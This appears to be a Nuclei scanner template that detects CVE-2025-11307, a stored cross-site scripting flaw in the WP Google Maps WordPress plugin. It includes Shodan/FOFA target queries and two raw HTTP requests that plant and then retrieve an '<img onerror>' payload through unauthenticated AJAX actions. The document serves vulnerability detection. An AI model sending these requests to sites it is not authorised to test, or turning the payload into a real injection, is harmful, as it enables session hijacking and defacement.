WP Google Maps < 9.0.48 - Cross-Site Scripting

id: CVE-2025-11307

info:
  name: WP Google Maps < 9.0.48 - Cross-Site Scripting
  author: 0x_Akoko
  severity: high
  description: |
    WP Google Maps WordPress plugin < 9.0.48 contains a stored XSS vulnerability caused by unsanitized user input in AJAX actions, letting unauthenticated attackers execute scripts via stored payloads.
  impact: |
    Unauthenticated attackers can execute arbitrary scripts in users' browsers, leading to session hijacking or defacement.
  remediation: |
    Update to version 9.0.48 or later.
  reference:
    - https://wpscan.com/vulnerability/f5b21a05-7a51-4530-9e07-4700f00eeca3/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11307
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-11307
    epss-score: 0.01939
    epss-percentile: 0.77685
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: wpgmaps
    product: wp-google-maps
    shodan-query: http.html:"wp-google-maps"
    fofa-query: body="wp-google-maps"
  tags: cve,cve2025,wp,wordpress,wp-plugin,xss,cache-poisoning,vkev

flow: http(1) && http(2)

variables:
  cache_key: "{{randstr}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpgmza_store_nominatim_cache&query={{cache_key}}&response=[{"display_name":"<img src=x onerror=alert(document.domain)>","lat":"37.5665","lon":"126.9780","boundingbox":["37.4","37.7","126.7","127.1"]}]

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{\"success\":1}")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=wpgmza_query_nominatim_cache&query={{cache_key}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<img src=x onerror=alert(document.domain)>", "display_name")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100fc5a65734794f5d78027dc925cbab08e3b275caf29a3be980b09140d61d1408a022100e8dae3750574afb45fdb97f4542b337745c89f323a149906714be298cf073855:922c64590222798bb761d5b6d8e72950